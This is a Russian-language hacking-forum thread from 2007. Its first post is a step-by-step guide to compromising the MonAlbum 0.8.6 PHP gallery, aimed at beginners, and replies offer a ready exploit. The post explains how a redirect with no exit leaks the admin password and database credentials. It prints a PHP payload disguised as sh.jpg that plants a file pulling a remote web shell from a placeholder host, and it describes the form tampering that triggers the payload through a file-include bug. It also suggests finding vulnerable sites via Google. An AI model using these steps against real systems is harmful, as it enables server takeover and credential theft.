Детские баги скрипта ))

Discussion in 'Уязвимости' started by Stefun, 28 May 2007.

  1. Stefun

    Stefun Elder - Старейшина

    Joined:
    19 Nov 2006
    Messages:
    48
    Likes Received:
    29
    Reputations:
    11
    --------------[ Детские ошибки MonAlbum <= 0.8.6 ]----------
    ++++++++++++++++++++++++++++++++++++++++++++++++++++++++
    Все для начинающих ))).

    -----/ Вступление /------

    Данный php-скрипт представляет из себя Фото Галлерею с поддержкой базы данных MySql, у нас она не очень популярна )).
    Итак, по багтреку SecurityLab понятно, что есть бага в файле admin/admin_configuration.php. Смотрим:

    Code:
    include("./secure.php");
    
    $glangage = $_POST['glangage'];
    if (!isset($glangage)) include("../conf/config.inc.php"); // inclut pas qd sauvegarde
    
    include ("../lib/album.inc");
    include_once("../lang/$glangage");
    
    $mod = $_POST['mod'];
    
    //дальше идет вывод настроек MonAlbum ...
    
    Этот файл предназначен для вывода опций галереи и их корректного сохранения.
    В файле secure.php ничего нет кроме:

    Code:
    session_start();
    if (!isset($_SESSION['name']))
    header ("Location: http://".$_SERVER['HTTP_HOST'].dirname($_SERVER['PHP_SELF'])."/login_page.php");
    
    Он всего лишь перенаправляет юзера, если тот не в сессии администратора.

    Остальные инклуд файлы не предсталяют интереса, судя по их названиям(../conf/config.inc.php, ../lib/album.inc).

    Строчка

    Code:
    include_once("../lang/$glangage");
    
    не вызовет у нас проблем, даже если $_POST['glangage'] будет ссылаться на не существующий файл(можно считать, что это
    локальный include-баг).

    Вывод: можно просмотреть все настройки скрипта, включая логин и пасс админа, а также данные для подключения к базе данных, потому как скрипт продолжает выполняться после перенаправления браузера.(хедер Location:)


    -------/ Эксплуатация /-------

    Практически это осуществляется путем коннекта телнетом или неткатом к бажному сайту и запроса о выводе файла admin.php/admin_configuration.php.

    Чтобы залить шелл потребуется войти под админом, закачать файл sh.jpg примерно такого содержания

    Code:
    <?php 
    $f=fopen("../images/sh.php","w");
    fputs($f,"<?php include(\"http://your_site/sh.txt\");?>");
    fclose($f);
    die("yeah!");
    ?>
    
    где как ты сам догадался sh.txt твой любимый пхп шелл. После закачки будет куча предупреждений, но файл будет успешно сохранен в папке images.
    Теперь настал черед инклуд багу, заходим браузером на admin/admin_configuration.php, сохраняем страницу на жесткий диск,
    удаляем из паги

    <input type="hidden" name="mod">

    и меняем <select name="glangage">, а точнее значение одного из <option> на название нашего файла "../images/sh.jpg".(незабудь изменить параметр action формы на корректное значение)
    Теперь перезагружаем пагу, вибираем нужный нам язык )), и отправляем форму на сервер.
    Видим надпись "yeah!", все получилось, шелл получен.))

    ------/ Заключение /--------

    Конечно лучше тренироваться в использовании данной баги на локалхосте, но тебе никто не мешает сделать запрос в гугле на
    бажный скрипт. Для счастливых владельцев этой галереи я бы порекомендовал пропатчить файл admin_configuration.php,
    либо полностью отказаться от данного скрипта. Да и еще... самое главное! Статья написана в помощь
    администраторам и авторам всевозможных пхп-скриптов, с целью указать на их возможные ошибки. Не
    используйте информацию из этой статьи в целях противоречащих УК.

    ++++++++++++++++++++++++++++++++++++++++++++++++++++++++
    -----[ Copyright © 2007 Stefun ]-----

    P.S.: Сплоит в наличии )))
     
    12 people like this.
  2. REDsaratov

    REDsaratov Elder - Старейшина

    Joined:
    17 Dec 2006
    Messages:
    123
    Likes Received:
    41
    Reputations:
    -8
    кому нужен сплойт обращайтесь
    Статья сежак не копиПаст)))))))
     
    1 person likes this.
  3. vectorg

    vectorg Противоядие

    Joined:
    7 Aug 2005
    Messages:
    335
    Likes Received:
    140
    Reputations:
    236
    Это не статья. Место "разбору" тут.
     
  4. [53x]Shadow

    [53x]Shadow Leaders of Antichat

    Joined:
    25 Jan 2007
    Messages:
    284
    Likes Received:
    597
    Reputations:
    514
    Имхо на статью не тянет, должно быть в разделе уязвимости
    Хорошое описание баги +1
     
    1 person likes this.